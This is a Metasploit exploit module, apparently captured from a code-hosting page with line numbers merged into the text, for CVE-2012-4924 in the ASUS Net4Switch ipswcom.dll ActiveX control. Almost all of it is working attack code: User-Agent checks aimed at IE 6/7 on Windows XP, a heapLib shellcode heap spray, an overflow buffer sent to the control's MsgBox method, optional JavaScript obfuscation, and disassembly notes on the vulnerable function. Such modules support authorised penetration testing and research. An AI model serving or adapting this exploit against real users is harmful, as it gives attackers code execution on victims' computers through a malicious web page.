Path: blob/master/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",15'Description' => %q{16This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll17ActiveX control. A buffer overflow condition is possible in multiple places due18to the use of the CxDbgPrint() function, which allows remote attackers to gain19arbitrary code execution under the context of the user.20},21'License' => MSF_LICENSE,22'Author' => [23'Dmitriy Evdokimov', # Initial discovery, poc24'sinn3r' # Metasploit25],26'References' => [27[ 'CVE', '2012-4924' ],28[ 'OSVDB', '79438' ],29[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]30],31'Payload' => {32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'DefaultOptions' => {36'EXITFUNC' => "seh",37'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',38},39'Platform' => 'win',40'Targets' => [41[ 'Automatic', {} ],42[ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],43[ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]44],45'Privileged' => false,46'DisclosureDate' => '2012-02-17',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])59]60)61end6263def get_target(agent)64return target if target.name != 'Automatic'6566if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/67return targets[1] # IE 6 on Windows XP SP368elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/69return targets[2] # IE 7 on Windows XP SP370else71return nil72end73end7475def on_request_uri(cli, request)76agent = request.headers['User-Agent']77my_target = get_target(agent)7879if my_target.nil?80print_error("Browser not supported: #{agent.to_s}")81send_not_found(cli)82return83end8485p = payload.encoded86js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))87nops = Rex::Text.to_unescape(make_nops(4))88randnop = rand_text_alpha(rand(100) + 1)8990spray = <<-JS91var heap_obj = new heapLib.ie(0x20000);92var code = unescape("#{js_code}");93var #{randnop} = "#{nops}";94var nops = unescape(#{randnop});9596while (nops.length < 0x80000) nops += nops;97var offset = nops.substring(0, #{my_target['Offset']});98var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);99100while (shellcode.length < 0x40000) shellcode += shellcode;101var block = shellcode.substring(0, (0x80000-6)/2);102103heap_obj.gc();104105for (var i=1; i < 0x300; i++) {106heap_obj.alloc(block);107}108JS109110spray = heaplib(spray, { :noobfu => true })111112js = <<-JS113var obj = new ActiveXObject("ipswcom.IPSWComItf");114115#{spray}116117function generate_padding(d, s) {118var tmp = d;119while (tmp.length < s) {120tmp += tmp;121}122var buf = tmp.substring(0, s/2);123tmp = null;124return buf;125}126127var arg1 = generate_padding(unescape("%u4141"), 4);128129var arg2 = "A"; // Expands to 0x0041, helps us to align the stack130arg2 += generate_padding(unescape("%u4343"), 2680);131arg2 += unescape("%u4242%u4242");132arg2 += unescape("%u0d0d%u0d0d");133arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);134135obj.MsgBox(arg1, arg2, 2);136JS137138# obfuscate on demand139if datastore['OBFUSCATE']140js = ::Rex::Exploitation::JSObfu.new(js)141js.obfuscate(memory_sensitive: true)142end143144html = <<-EOS145<html>146<head>147</head>148<body>149<script>150#{js}151</script>152</body>153</html>154EOS155156html = html.gsub(/\t\t/, '')157158print_status("Sending HTML")159send_response(cli, html, { 'Content-Type' => 'text/html' })160end161end162163=begin164Download:165http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html166167clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E168C:\Program Files\ASUS\Net4Switch\ipswcom.dll169170.text:10030523 push ecx171.text:10030524 mov eax, [ebp+arg_C]172.text:10030527 mov [ebp+var_4], eax173.text:1003052A cmp [ebp+var_4], 0174.text:1003052E jz short loc_10030541 <-- uType 10h175.text:10030530 cmp [ebp+var_4], 1176.text:10030534 jz short loc_10030573 <-- uType 44h177.text:10030536 cmp [ebp+var_4], 2178.text:1003053A jz short loc_100305A5 <-- CxDbgPrint179...180.text:100305A5 loc_100305A5: ; CODE XREF: MsgBox+1Aj181.text:100305A5 mov eax, [ebp+lpText]182.text:100305A8 push eax183.text:100305A9 push offset aIpsw_alertS ; "[IPSW_alert] = %s"184.text:100305AE push 0FFh185.text:100305B3 call ds:CxDbgPrint186=end187188189